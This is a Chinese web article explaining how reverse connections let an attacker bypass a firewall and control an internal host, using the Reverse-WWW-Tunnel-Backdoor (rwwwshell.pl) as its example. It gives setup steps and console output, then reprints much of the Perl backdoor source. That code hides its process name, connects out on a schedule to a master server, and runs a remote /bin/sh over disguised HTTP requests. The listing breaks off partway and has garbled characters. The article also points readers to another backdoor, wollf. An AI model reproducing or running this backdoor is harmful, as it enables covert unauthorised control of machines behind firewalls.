分享
 
 
 

利用反向连接的方法绕过防火墙控制内部主机

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

原文用大篇篇幅介绍了防火墙和应用网关的内容,以及一些控制内部主机的方法。其中的反向连接的方法值得借鉴。大家知道,现在的许多局域网都设置了防火墙,禁止外部主机访问内网,但却允许内部机器访问外部网络,反向连接正是利用这一点。传统的远程控制一般是被控端开放一端口,处于listening状态,等待主控端来连接,而反向连接则相反,主控端开放一端口,处于listening状态,等待被控端来连接,这样也就使防火墙失去作用。原文附带了一个perl编的程序rwwwshell.pl,我以这个程序来说明怎样利用反向连接控制内部主机。

首先修改rwwwshell.pl的一些配置,更改程序内$SERVER的地址,这个地址就是外部主机地址,还有$TIME的时间,此时间为到这个时候,内部主机开始连接外部主机。在外部主机上运行

c:\perl rwwwshell.pl

Welcome to the Reverse-WWW-Tunnel-Backdoor v1.4 by van Hauser / THC ...

Introduction: Wait for your SLAVE to connect, examine it\'s output and then

type in your commands to execute on SLAVE. You\'ll have to

wait min. the set $DELAY seconds before you get the output

and can execute the next stuff. Use ";" for multiple commands.

Trying to execute interactive commands may give you headache

so beware. Your SLAVE may hang until the daily connect try

(if set - otherwise you lost).

You also shouldn\'t try to view a binary data too ;-)

"echo bla file", "cat file

friends if you don\'t like using vi in a delayed line mode ;-)

To exit this program on any time without doing harm to either

MASTER or SLAVE just press Control-C.

Now have fun.

Waiting for connect ...

然后在内部主机上运行

[root@xxx.com]#perl rwwwshell.pl -slave

starting in slave mode

当到了$TIME时间时,你的外部主机上就可看到

[root@xxx.com]#

这时你就是这台内部主机的主人了。

用这个程序需注意,被控端也就是内部主机只能是Linux(UNIX未试过),在win2000下运行,当$TIME到时,主控端会报错,所以我想这个程序是为Linux编的,不过不要紧,至少我们学到了一种思路。

前几天,我在xfocus.org上发现一程序wollf,也具有反向连接功能,有兴趣的朋友不妨试一试,此程序功能很强大,但有一点遗憾,这个wollf会被最新的Norton AntiVirus查出。

附rwwwshell.pl

#!/usr/bin/perl

# Reverse-WWW-Tunnel-Backdoor v1.5

# (c) 1998 by van Hauser / [THC] - The Hacker's Choice

# Check out http://r3wt.base.org for updates

#

# GENERAL CONFIG (except for $MASK, everything must be the same

# for MASTER and SLAVE is this section!)

#

$CGI_PREFIX="/cgi-bin/order?";# should look like cgi. "?" as last char!

$MASK="vi";# for masking the program's process name

$PASSWORD="THC";# anything, nothing you have to rememeber

# (not a real "password" anyway)

#

# MASTER CONFIG (specific for the MASTER)

#

$LISTEN_PORT=8080;# on which port to listen (80 [needs root] or 8080)

$SERVER="192.168.0.188";# the host to run on (ip/dns) (the SLAVE needs this!)

#

# SLAVE CONFIG (specific for the SLAVE)

#

$SHELL="/bin/sh -i";# program to execute (e.g. /bin/sh)

$DELAY="3";# time to wait for output after your command(s)

$TIME="12:25";# time when to connect to the master (unset if now)

$DAILY="sure";# tries to connect once daily if set with something

$PROXY="";# set this with the Proxy if you must use one

$PROXY_PORT="";# set this with the Proxy Port if you must use one

# END OF CONFIG# nothing for you to do after this point #

################## BEGIN MAIN CODE ##################

require 5.002;

use Socket;

$│=1;# next line changes our process name

if ($MASK) { for ($a=1;$a

undef $DAILY if (! $TIME);

if ( !($PROXY) ││ !($PROXY_PORT) ) {

undef $PROXY;

undef $PROXY_PORT;

}

$protocol = getprotobyname('tcp');

if ($ARGV[0] ne "") {

if ($ARGV[0] eq "-h") {

print STDOUT "no commandline option : daemon mode\n";

print STDOUT "using \"-h\" as option : this help\n";

print STDOUT "any other option : slave mode\n";

exit(0);

} else {

print STDOUT "starting in slave mode\n";

$SLAVE_MODE = "yeah";

}

}

if (! $SLAVE_MODE) {

&master;

} else {

&slave;

}

# END OF MAIN FUNCTION

############### SLAVE FUNCTION ###############

sub slave {

$pid = 0;

if ($PROXY) {# setting the real config (for Proxy Support)

$REAL_SERVER = $PROXY;

$REAL_PORT = $PROXY_PORT;

$REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT

. $CGI_PREFIX;

} else {

$REAL_SERVER = $SERVER;

$REAL_PORT = $LISTEN_PORT;

$REAL_PREFIX = "GET " . $CGI_PREFIX;

}

AGAIN:if ($pid) { kill 9, $pid; }

if ($TIME) {# wait until the specified $TIME

$TIME =~ s/^0//;$TIME =~ s/:0/:/;

(undef,$min,$hour,undef,undef,undef,undef,undef,undef)

= localtime(time);

$t=$hour . ":" . $min;

while ($TIME ne $t) {

sleep(28); # every 28 seconds we look at the watch

(undef,$min,$hour,undef,undef,undef,undef,undef,undef)

= localtime(time);

$t=$hour . ":" .$min;

}

}

if ($DAILY) {# if we must connect daily, we

if (fork) {# we fork the daily shell process

sleep(69);# to ensure the master control proc.

goto AGAIN;# won't get stuck by a fucking cmd

}# the user executed.

}

$address = inet_aton($REAL_SERVER) ││ die "can't resolve server\n";

$remote = sockaddr_in($REAL_PORT, $address);

$forked = 0;

GO:close(THC);

socket(THC, &PF_INET, &SOCK_STREAM, $protocol)

or die "can't create socket\n";

setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);

if (! $forked) {# fork failed? fuck, let's try again

pipe R_IN, W_IN; select W_IN; $│=1;

pipe R_OUT, W_OUT; select W_OUT; $│=1;

$pid = fork;

if (! defined $pid) {

close THC;

close R_IN;close W_IN;

close R_OUT;close W_OUT;

goto GO;

}

$forked = 1;

}

if (! $pid) { # this is the child process (execs $SHELL)

close R_OUT;close W_IN;close THC;

open STDIN, "

open STDOUT, "&W_OUT";

open STDERR, "&W_OUT";

exec $SHELL ││ print W_OUT "couldn't spawn $SHELL\n";

close R_IN; close W_OUT;

exit(0);

} else { # this is the parent (data control + network)

close R_IN;

sleep($DELAY);# we wait $DELAY for the commands to complete

vec($rs, fileno(R_OUT), 1) = 1;

select($r = $rs, undef, undef, 30);

sleep(1);

$output = "";

vec($ws, fileno(W_OUT), 1) = 1;

while (select($w = $ws, undef, undef, 1)) {

read R_OUT, $readout, 1 ││ last;

$output = $output . $readout;

}

print W_OUT "\000" ││ goto END;

while (1) {

read R_OUT, $readout, 1 ││ last;

last if ($readout eq "\000");

$output = $output . $readout;

}

&uuencode;# does the encoding of the shell output

$encoded = $REAL_PREFIX . $encoded . "\n";

connect(THC, $remote) ││ goto END;# connect to master

send (THC, $encoded, 0) ││ goto END;# and send data

$input = "";

vec($rt, fileno(THC), 1) = 1; # wait until master sends reply

while (! select($r = $rt, undef, undef, 0.00001)) {}

while (1) {# read until EOD (End Of Data)

recv (THC, $readin, 1, 0) ││ goto OK;

goto OK if (($readin eq "\000") or ($readin eq "\n")

or ($readin eq ""));

$input = $input . $readin;

}

OK:$input =~ s/\n//gs;

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有